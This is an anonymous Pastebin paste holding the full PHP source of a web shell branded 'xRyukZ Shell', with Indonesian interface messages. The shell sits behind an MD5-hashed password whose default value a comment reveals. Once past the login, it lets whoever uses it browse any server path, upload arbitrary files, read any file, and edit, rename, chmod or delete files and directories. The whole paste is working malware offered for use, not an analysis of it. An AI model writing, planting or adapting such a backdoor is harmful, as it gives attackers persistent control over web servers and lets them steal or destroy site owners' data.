Advertisement
Guest User

Untitled

a guest
Aug 21st, 2018
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.54 KB | None | 0 0
  1. <?php
  2. $auth_pass = "c2da3b73307f349a84261cd35f93ba97"; // default : runbitchrun
  3. session_start();
  4. @error_reporting(0);
  5. @set_time_limit(0);
  6. function Login() {
  7. ?><!DOCTYPE html>
  8. <html>
  9. <head>
  10. <style>
  11. body {
  12. background-color: black;
  13. }
  14. input[type=password] {
  15. width: 250px;
  16. height: 15px;
  17. color: red;
  18. background: #000000;
  19. border: 1px solid #F0FFFF;
  20. padding: 5px;
  21. text-align: center;
  22. }
  23. </style>
  24. <title>.:: xRyukZ Shell ::. </title>
  25. <center><img src="http://www.itm-eng.com/assets/cwcontrol/theme/fileuploader-master/examples/appended-files/xryukz.png" width="30%"><br>
  26. <form method="post">
  27. <input type="password" name="pass">
  28. </form
  29. <?php
  30. exit;
  31. }
  32. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  33. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  34. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  35. else
  36. Login();
  37. ?>
  38. <?php
  39. set_time_limit(0);
  40. error_reporting(0);
  41.  
  42. if(get_magic_quotes_gpc()){
  43. foreach($_POST as $key=>$value){
  44. $_POST[$key] = stripslashes($value);
  45. }
  46. }
  47. echo '<!DOCTYPE HTML>
  48. <html>
  49. <head>
  50. <link href="https://fonts.googleapis.com/css?family=Fugaz+One" rel="stylesheet">
  51. <link href="" rel="stylesheet" type="text/css">
  52. <title>xRyuk | ReVo</title>
  53. <style>
  54. body{
  55. font-family: "Fugaz One", cursive;
  56. background-color: black;
  57. color:red;
  58. }
  59. #content tr:hover{
  60. background-color: #191919;
  61. text-shadow:0px 0px 10px #fff;
  62. }
  63. #content .first{
  64. background-color: #191919;
  65. }
  66. table{
  67. border: 1px #000000 dotted;
  68. }
  69. a{
  70. color:white;
  71. text-decoration: none;
  72. }
  73. a:hover{
  74. color:red;
  75. text-shadow:0px 0px 10px #ffffff;
  76. }
  77. input,select,textarea{
  78. border: 1px #000000 solid;
  79. -moz-border-radius: 5px;
  80. -webkit-border-radius:5px;
  81. border-radius:5px;
  82. }
  83. </style>
  84. </head>
  85. <body><center><img src="http://www.itm-eng.com/assets/cwcontrol/theme/fileuploader-master/examples/appended-files/xryukz.png" width="25%">
  86. <h1><font color="red">-=[ xRy<font color="white">ukZ ]=-</font></font></center></h1>
  87. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  88. <tr><td><font color="#00FF00">Path :</font> ';
  89. if(isset($_GET['path'])){
  90. $path = $_GET['path'];
  91. }else{
  92. $path = getcwd();
  93. }
  94. $path = str_replace('\\','/',$path);
  95. $paths = explode('/',$path);
  96.  
  97. foreach($paths as $id=>$pat){
  98. if($pat == '' && $id == 0){
  99. $a = true;
  100. echo '<a href="?path=/">/</a>';
  101. continue;
  102. }
  103. if($pat == '') continue;
  104. echo '<a href="?path=';
  105. for($i=0;$i<=$id;$i++){
  106. echo "$paths[$i]";
  107. if($i != $id) echo "/";
  108. }
  109. echo '">'.$pat.'</a>/';
  110. }
  111. echo '</td></tr><tr><td>';
  112. if(isset($_FILES['file'])){
  113. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  114. echo '<font color="#00FF00">Berhasil Coeg :V</font><br />';
  115. }else{
  116. echo '<font color="#00FF00">Gagal Coeg :v</font><br/>';
  117. }
  118. }
  119. echo '<form enctype="multipart/form-data" method="POST">
  120. <font color="#00FF00">File Upload :</font> <input type="file" name="file" />
  121. <input type="submit" value="Upload :V" />
  122. </form>
  123. </td></tr>';
  124. if(isset($_GET['filesrc'])){
  125. echo "<tr><td>Current File : ";
  126. echo $_GET['filesrc'];
  127. echo '</tr></td></table><br />';
  128. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  129. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  130. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  131. if($_POST['opt'] == 'chmod'){
  132. if(isset($_POST['perm'])){
  133. if(chmod($_POST['path'],$_POST['perm'])){
  134. echo '<font color="#00FF00">Change Permission Berhasil</font><br/>';
  135. }else{
  136. echo '<font color="#00FF00">Change Permission Gagal</font><br />';
  137. }
  138. }
  139. echo '<form method="POST">
  140. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  141. <input type="hidden" name="path" value="'.$_POST['path'].'">
  142. <input type="hidden" name="opt" value="chmod">
  143. <input type="submit" value="Go" />
  144. </form>';
  145. }elseif($_POST['opt'] == 'rename'){
  146. if(isset($_POST['newname'])){
  147. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  148. echo '<font color="#00FF00">Ganti Nama Berhasil</font><br/>';
  149. }else{
  150. echo '<font color="#00FF00">Ganti Nama Gagal</font><br />';
  151. }
  152. $_POST['name'] = $_POST['newname'];
  153. }
  154. echo '<form method="POST">
  155. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  156. <input type="hidden" name="path" value="'.$_POST['path'].'">
  157. <input type="hidden" name="opt" value="rename">
  158. <input type="submit" value="Go" />
  159. </form>';
  160. }elseif($_POST['opt'] == 'edit'){
  161. if(isset($_POST['src'])){
  162. $fp = fopen($_POST['path'],'w');
  163. if(fwrite($fp,$_POST['src'])){
  164. echo '<font color="#00FF00">Berhasil Edit File</font><br/>';
  165. }else{
  166. echo '<font color="#00FF00">Gagal Edit File</font><br/>';
  167. }
  168. fclose($fp);
  169. }
  170. echo '<form method="POST">
  171. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  172. <input type="hidden" name="path" value="'.$_POST['path'].'">
  173. <input type="hidden" name="opt" value="edit">
  174. <input type="submit" value="Save" />
  175. </form>';
  176. }
  177. echo '</center>';
  178. }else{
  179. echo '</table><br/><center>';
  180. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  181. if($_POST['type'] == 'dir'){
  182. if(rmdir($_POST['path'])){
  183. echo '<font color="#00FF00">Directory Terhapus</font><br/>';
  184. }else{
  185. echo '<font color="#00FF00">Directory Gagal Terhapus </font><br/>';
  186. }
  187. }elseif($_POST['type'] == 'file'){
  188. if(unlink($_POST['path'])){
  189. echo '<font color="#00FF00">File Terhapus</font><br/>';
  190. }else{
  191. echo '<font color="#00FF00">File Gagal Dihapus</font><br/>';
  192. }
  193. }
  194. }
  195. echo '</center>';
  196. $scandir = scandir($path);
  197. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  198. <tr class="first">
  199. <td><center>Name</peller></center></td>
  200. <td><center>Size</peller></center></td>
  201. <td><center>Permission</peller></center></td>
  202. <td><center>Modify</peller></center></td>
  203. </tr>';
  204.  
  205. foreach($scandir as $dir){
  206. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  207. echo '<tr>
  208. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  209. <td><center>--</center></td>
  210. <td><center>';
  211. if(is_writable($path.'/'.$dir)) echo '<font color="#00FF00">';
  212. elseif(!is_readable($path.'/'.$dir)) echo '<font color="#00FF00">';
  213. echo perms($path.'/'.$dir);
  214. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  215.  
  216. echo '</center></td>
  217. <td><center><form method="POST" action="?option&path='.$path.'">
  218. <select name="opt">
  219. <option value="">Select</option>
  220. <option value="delete">Delete</option>
  221. <option value="chmod">Chmod</option>
  222. <option value="rename">Rename</option>
  223. </select>
  224. <input type="hidden" name="type" value="dir">
  225. <input type="hidden" name="name" value="'.$dir.'">
  226. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  227. <input type="submit" value=">">
  228. </form></center></td>
  229. </tr>';
  230. }
  231. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  232. foreach($scandir as $file){
  233. if(!is_file($path.'/'.$file)) continue;
  234. $size = filesize($path.'/'.$file)/1024;
  235. $size = round($size,3);
  236. if($size >= 1024){
  237. $size = round($size/1024,2).' MB';
  238. }else{
  239. $size = $size.' KB';
  240. }
  241.  
  242. echo '<tr>
  243. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  244. <td><center>'.$size.'</center></td>
  245. <td><center>';
  246. if(is_writable($path.'/'.$file)) echo '<font color="#00FF00">';
  247. elseif(!is_readable($path.'/'.$file)) echo '<font color="#00FF00">';
  248. echo perms($path.'/'.$file);
  249. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  250. echo '</center></td>
  251. <td><center><form method="POST" action="?option&path='.$path.'">
  252. <select name="opt">
  253. <option value="">Select</option>
  254. <option value="delete">Delete</option>
  255. <option value="chmod">Chmod</option>
  256. <option value="rename">Rename</option>
  257. <option value="edit">Edit</option>
  258. </select>
  259. <input type="hidden" name="type" value="file">
  260. <input type="hidden" name="name" value="'.$file.'">
  261. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  262. <input type="submit" value=">">
  263. </form></center></td>
  264. </tr>';
  265. }
  266. echo '</table>
  267. </div>';
  268. }
  269. echo '<center><br/>Copyright © 2018 --||-- Recoded By xRyukZ</center>
  270. </body>
  271. </html>';
  272. function perms($file){
  273. $perms = fileperms($file);
  274.  
  275. if (($perms & 0xC000) == 0xC000) {
  276. // Socket
  277. $info = 's';
  278. } elseif (($perms & 0xA000) == 0xA000) {
  279. // Symbolic Link
  280. $info = 'l';
  281. } elseif (($perms & 0x8000) == 0x8000) {
  282. // Regular
  283. $info = '-';
  284. } elseif (($perms & 0x6000) == 0x6000) {
  285. // Block special
  286. $info = 'b';
  287. } elseif (($perms & 0x4000) == 0x4000) {
  288. // Directory
  289. $info = 'd';
  290. } elseif (($perms & 0x2000) == 0x2000) {
  291. // Character special
  292. $info = 'c';
  293. } elseif (($perms & 0x1000) == 0x1000) {
  294. // FIFO pipe
  295. $info = 'p';
  296. } else {
  297. // Unknown
  298. $info = 'u';
  299. }
  300.  
  301. // Owner
  302. $info .= (($perms & 0x0100) ? 'r' : '-');
  303. $info .= (($perms & 0x0080) ? 'w' : '-');
  304. $info .= (($perms & 0x0040) ?
  305. (($perms & 0x0800) ? 's' : 'x' ) :
  306. (($perms & 0x0800) ? 'S' : '-'));
  307.  
  308. // Group
  309. $info .= (($perms & 0x0020) ? 'r' : '-');
  310. $info .= (($perms & 0x0010) ? 'w' : '-');
  311. $info .= (($perms & 0x0008) ?
  312. (($perms & 0x0400) ? 's' : 'x' ) :
  313. (($perms & 0x0400) ? 'S' : '-'));
  314.  
  315. // World
  316. $info .= (($perms & 0x0004) ? 'r' : '-');
  317. $info .= (($perms & 0x0002) ? 'w' : '-');
  318. $info .= (($perms & 0x0001) ?
  319. (($perms & 0x0200) ? 't' : 'x' ) :
  320. (($perms & 0x0200) ? 'T' : '-'));
  321.  
  322. return $info;
  323. }
  324.  
  325. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement